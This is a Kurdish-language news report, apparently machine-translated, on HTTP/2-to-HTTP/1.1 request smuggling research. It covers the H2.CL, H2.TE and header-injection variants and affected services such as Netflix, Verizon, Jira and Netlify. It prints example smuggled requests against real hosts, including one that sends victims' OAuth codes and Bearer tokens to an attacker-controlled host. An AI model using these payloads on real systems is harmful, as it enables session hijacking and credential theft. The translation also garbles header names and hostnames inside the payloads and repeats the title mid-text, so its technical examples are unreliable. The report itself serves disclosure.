Êrîşek nû ya li ser pergalên pêşîn-paş-paş ku destûrê dide we ku hûn di nav daxwazan de bişopînin

Pergalên webê yên ku dawiya pêşiyê girêdanên bi HTTP/2 qebûl dike û wan bi riya HTTP/1.1 ji piştê re vediguhezîne, li ber guhertoyek nû ya êrîşa "Qaçaxçîtiya Daxwaza HTTP"-ê, ku destûrê dide, bi şandina daxwazên xerîdar ên taybetî yên sêwirandî, vedihewîne. naverokên daxwazên bikarhênerên din ên ku di heman herikê de di navbera pêş û paşerojê de têne hilberandin. Êrîş dikare were bikar anîn da ku koda JavaScript-a xerab têxe nav danişînek bi malperek rewa, derbaskirina pergalên sînorkirina gihîştinê û astengkirina parametreyên pejirandinê.

Pirsgirêk bandorê li proxeyên malperê, hevsengkerên barkirinê, bilezkerên malperê, pergalên radestkirina naverokê û mîhengên din dike ku tê de daxwaz bi rengek pêş-dawî-ber-paş têne verast kirin. Nivîskarê lêkolînê îhtîmala êrîşkirina pergalên Netflix, Verizon, Bitbucket, Netlify CDN û Atlassian nîşan da û ji bo tespîtkirina qelsiyan 56 hezar dolar bernameyên xelatê wergirt. Pirsgirêk di hilberên Tora F5 de jî hate pejirandin. Pirsgirêk hinekî bandorê li mod_proxy di servera Apache http (CVE-2021-33193) dike, di guhertoya 2.4.49 de çareseriyek tê hêvî kirin (pêşdebiran di destpêka Gulanê de ji pirsgirêkê agahdar bûn û 3 meh ji wan re hat dayîn ku wê çareser bikin). Di nginx de, şiyana diyarkirina hevdemî sernavên "Naverok-Drêjahî" û "Veguheztin-Encoding" di berdana paşîn de (1.21.1) hate asteng kirin. Amûrên êrîşê jixwe di nav amûra Burp de cih digirin û di forma dirêjkirina Turbo Intruder de hene.

Prensîba xebitandina rêbaza nû ya vegirtina daxwazên nav seyrûseferê dişibihe qelsiya ku du sal berê ji hêla heman lêkolîner ve hatî nas kirin, lê bi pêşiyên ku daxwazên li ser HTTP/1.1 qebûl dikin re sînordar e. Ka em bînin bîra xwe ku di pilana pêşîn-paşgiriyê de, daxwazên xerîdar ji hêla girêkek din ve têne wergirtin - pêşek, ku têkiliyek TCP-ya dirêj-dirêj bi paşverû re saz dike, ku rasterast daxwazan pêvajoyê dike. Bi vê pêwendiya hevpar, daxwazên bikarhênerên cihêreng bi gelemperî têne şandin, ku zincîra yek li dû hev dişopînin, bi riya protokola HTTP veqetandî.

Êrîşa klasîk a "Qaçaxçîtiya Daxwaza HTTP" li ser bingeha vê rastiyê bû ku pêş û paşpirtikan karanîna sernavên HTTP-ê "Naverok-Drêjahî" (mezinahiya giştî ya daneya di daxwaznameyê de diyar dike) û "Veguhes-Encoding: perçekirî" (destûrê dide daneyên ku di perçeyan de têne veguheztin) bi rengek cûda. . Mînakî, heke pêşiyê tenê "Naverok-Drêjahî" piştgirî bike lê "Veguhestina-Encoding: perçebûyî" paşguh bike, wê hingê êrîşkar dikare daxwazek ku hem sernavên "Naverok-Drêjahî" û hem jî "Veguhestin-Encoding: perçekirî" dihewîne bişîne, lê mezinahiya "Naverok-Drêjahî" ye, bi mezinahiya zincîra perçekirî re nagire. Di vê rewşê de, pêşangeh dê daxwazê ​​li gorî "Naverok-Drêjahî" bişopîne û beralî bike, û paşîn dê li benda temamkirina blokê li ser bingeha "Veguhes-Encoding: perçekirî" bimîne û dûvika mayî ya daxwaza êrîşker dê di destpêka daxwaza kesek din de be ku paşê were şandin.

Berevajî protokola nivîsê HTTP/1.1, ku di asta rêzê de tê pars kirin, HTTP/2 protokolek binary e û blokên daneyê yên bi mezinahiyek ji berê diyarkirî manîpule dike. Lêbelê, HTTP/2 pseudo-sernivîsên ku bi sernavên HTTP-ya birêkûpêk re têkildar in bikar tîne. Di bûyera danûstendina bi paşîn re bi riya protokola HTTP/1.1, pêşgir van pseudo-sernivîsan werdigerîne sernavên HTTP yên mîna HTTP/1.1. Pirsgirêk ev e ku paşîn li ser bingeha sernavên HTTP-ê yên ku ji hêla pêşê ve hatine destnîşan kirin biryarên parskirina tîrêjê dide, bêyî ku agahdariya li ser pîvanên daxwaza orîjînal hebe.

Bi taybetî, nirxên "naverok-dirêj" û "veguheztin-kodkirina" dikarin di forma pseudo-sernivîsan de werin veguheztin, tevî vê yekê ku ew di HTTP/2 de nayên bikar anîn, ji ber ku mezinahiya hemî daneyan tê destnîşankirin. di qadeke cuda de. Lêbelê, di dema pêvajoya guheztina daxwazek HTTP/2 de ji bo HTTP/1.1, ev sernav têne hilgirtin û dikarin paşîn tevlihev bikin. Du guhertoyên êrîşê yên sereke hene: H2.TE û H2.CL, ku tê de paşperdeya ji hêla veguhez-enkodkirina xelet an nirxek dirêj-naverokê ve hatî xapandin ku bi mezinahiya rastîn a laşê daxwaznameyê re ku ji hêla pêşiyê ve hatî wergirtin re têkildar nake. Protokola HTTP/2.

Êrîşek nû ya li ser pergalên pêşîn-paş-paş ku destûrê dide we ku hûn di nav daxwazan de bişopînin

Nimûneyek êrîşa H2.CL ev e ku dema ku daxwazek HTTP/2 ji Netflix re dişîne, di naverok-naverokê de pseudo-sernavê de mezinahiyek xelet diyar bike. Ev daxwaz dibe sedema lêzêdekirina sernavek HTTP-ya heman naverok-Dêjê dema ku bi riya HTTP/1.1 ve bigihîje paşnavê, lê ji ber ku mezinahiya di naverok-length de ji ya rastîn kêmtir tête diyar kirin, beşek ji daneyên di dûvikê de wekî destpêka daxwaza paşîn.

Mînakî, daxwaza HTTP/2 :rêbaza POST: rê /n :desthilatdar www.netflix.com content-length 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar

Dê di encamê de daxwazek ji paşîn re were şandin: POST /n HTTP/1.1 Mêvandar: www.netflix.com Naverok-Drêjahî: 4 abcdGET /n HTTP/1.1 Mêvandar: 02.rs?x.netflix.com Foo: bar

Ji ber ku Content-Length nirxek 4 heye, paşverû dê tenê "abcd" wekî laşê daxwazê ​​qebûl bike, û mayî "GET /n HTTP/1.1..." dê wekî destpêka daxwazek paşîn were pêvajo kirin. bi bikarhênerek din ve girêdayî ye. Li gorî vê yekê, herik dê desenkronîze bibe û di bersiva daxwaziya din de, dê encama pêvajoykirina daxwaznameya dumî were derxistin. Di doza Netflix-ê de, di sernavê "Mêvandar:" de di daxwazek dumî de diyar kirina mêvandarek sêyemîn, di encamê de bû ku xerîdar bersiva "Cîh: https://02.rs?x.netflix.com/n" vedigere û destûr da ku naveroka keyfî ji xerîdar re were şandin, di nav de koda JavaScript-a xwe di çarçoveya malpera Netflix de bimeşîne.

Vebijarka êrîşê ya duyemîn (H2.TE) cîgirkirina sernavê "Veguheztin-Encoding: perçekirî" digire. Bikaranîna pseudo-sernivîsa veguheztinê ya di HTTP/2 de ji hêla taybetmendiyê ve qedexe ye û daxwazên pê re wekî xelet têne destnîşan kirin. Digel vê yekê, hin pêkanînên pêşîn vê hewcedariyê li ber çavan nagirin û destûrê didin ku di HTTP/2 de pseudo-sernivîsa veguheztinê-kodkirina veguheztinê, ku vediguhezîne sernavek HTTP-ya heman rengî, bikar bînin. Ger sernavek "Veguhezandin-Enkodkirin" hebe, piştgir dikare wê wekî pêşanîyek bilindtir bigire û daneyê perçe perçe bike di moda "qelkirî" de bi karanîna blokên mezinahiyên cihêreng ên di forma "{size}\r\n{block" de. }\r\n{size} \r\n{block}\r\n0", tevî dabeşkirina destpêkê li gorî mezinahiya giştî.

Hebûna valahiyek wusa bi mînaka Verizon hate xuyang kirin. Pirsgirêka portalê rastrastkirinê û pergala rêveberiya naverokê, ku li ser malperên wekî Huffington Post û Engadget jî tê bikar anîn eleqedar bû. Mînakî, daxwazek xerîdar bi rêya HTTP/2: :rêbaza POST :rê /identitfy/XUI :desthilatdar id.b2b.oath.com veguhez-encoding perçe bû 0 GET /oops HTTP/1.1 Mêvandar: psres.net Naverok-Drêjahî: 10 x=

Encama şandina daxwazek HTTP/1.1 ji piştê re: POST /nasname/XUI HTTP/1.1 Mêvandar: id.b2b.oath.com Naverok-Drêjahî: 66 Veguheztin-Encoding: perçe kirin 0 GET /oops HTTP/1.1 Mêvandar: psres. Naveroka net- Dirêjahî: 10x=

Piştgiriyê, di encamê de, sernavê "Naverok-Drêjahî" guh neda û dabeşkirina nav-stream-ê li ser bingeha "Veguheztin-Encoding: perçekirî" pêk anî. Di pratîkê de, êrîşê mimkun kir ku daxwazên bikarhêner beralî bike li ser malpera wan, di nav de girtina daxwazên têkildar bi pejirandina OAuth, ku pîvanên wan di sernavê Referer de hatine xuyang kirin, û her weha danişînek pejirandinê simule bike û pergala bikarhêner bişîne ku pêbaweriyan bişîne. ji mêvandarê êrîşkar re. GET /b2blanding/show/oops HTTP/1.1 Mêvandar: psres.net Referber: https://id.b2b.oath.com/?…&code=secret GET / HTTP/1.1 Mêvandar: psres.net Destûrname: Bergir eyJhcGwiOiJIUzI1cCI1…

Ji bo êrîşkirina ser pêkanînên HTTP/2 yên ku nahêlin pseudo-sernivîsa veguheztinê were diyar kirin, rêbazek din hate pêşniyar kirin ku tê de sernavê "Veguhestinê-Encoding" biguhezîne bi girêdana wê bi sernavên pseudo yên din ên ku bi karakterek nû veqetandî ( dema ku veguhezîne HTTP/1.1 di vê rewşê de du sernavên HTTP yên cihê diafirîne).

Mînakî, Atlassian Jira û Netlify CDN (ji bo xizmeta rûpela destpêkê ya Mozilla di Firefox-ê de tê bikar anîn) ji vê pirsgirêkê bandor bûn. Bi taybetî, daxwaza HTTP/2 :rêbaza POST: rê / :desthilatdar start.mozilla.org foo b\r\n veguhez-enkodkirin: 0\r\n \r\n GET / HTTP/1.1\r\n Mêvandar : evil-netlify-domain\r\n Naverok-Drêjahî: 5\r\n \r\nx=

Di encamê de daxwazek HTTP/1.1 POST / HTTP/1.1 ji paşîn re hate şandin\r\n Mêvandar: start.mozilla.org\r\n Çêrok: b\r\n Veguheztin-Encoding: perçekirî\r\n Naverok-Drêjahî : 71\ r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n Mêvandar: evil-netlify-domain\r\n Naverok-Drêjahî: 5\r\n \r \nx=

Vebijarkek din ji bo cîgirkirina sernavê "Veguheztin-Enkodkirin" ew bû ku wê bi navê pseudo-sernivîsek din an bi rêzek bi rêbazek daxwaznameyê ve girêbide. Mînakî, dema ku meriv xwe bigihîne Atlassian Jira, navê pseudo-sernavê "foo: bar\r\ntransfer-encoding" bi nirxa "chunked" bû sedem ku sernavên HTTP "foo: bar" û "transfer-encoding: chunked" werin zêdekirin. , û diyarkirina pseudo-sernavê ":rêbaz" nirxa "GET / HTTP/1.1\r\nVeguheztin-enkodkirin: perçekirî" hate wergerandin bo "GET / HTTP/1.1\r\nveguhez-enkodkirin: perçe kirin".

Lekolînerê ku pirsgirêk nas kir di heman demê de teknîkek tunekirina daxwazê ​​​​ji bo êrişkirina eniyan jî pêşniyar kir, ku tê de her navnîşana IP-yê bi paşîn ve têkiliyek cihêreng saz dike û seyrûsefera ji bikarhênerên cihêreng tevlihev nabe. Teknolojiya pêşniyarkirî rê nade destwerdana daxwazên bikarhênerên din, lê gengaz dike ku keşeyek hevpar a ku bandorê li pêvajoykirina daxwazên din dike jehrê bike, û destûrê dide guheztina sernavên HTTP yên navxweyî yên ku ji bo veguheztina agahdariya karûbarê ji pêşiyê berbi paşîn ve têne bikar anîn ( ji bo nimûne, dema ku li aliyê pêşiyê verastkirin di Sernivîsên bi vî rengî de dikare agahdariya di derbarê bikarhênerê heyî de ji paşîn re veguhezîne). Wekî mînakek pêkanîna rêbazê di pratîkê de, bi karanîna jehrîkirina cache, gengaz bû ku meriv li ser rûpelan di karûbarê Bitbucket de kontrol bike.

Source: opennet.ru

Add a comment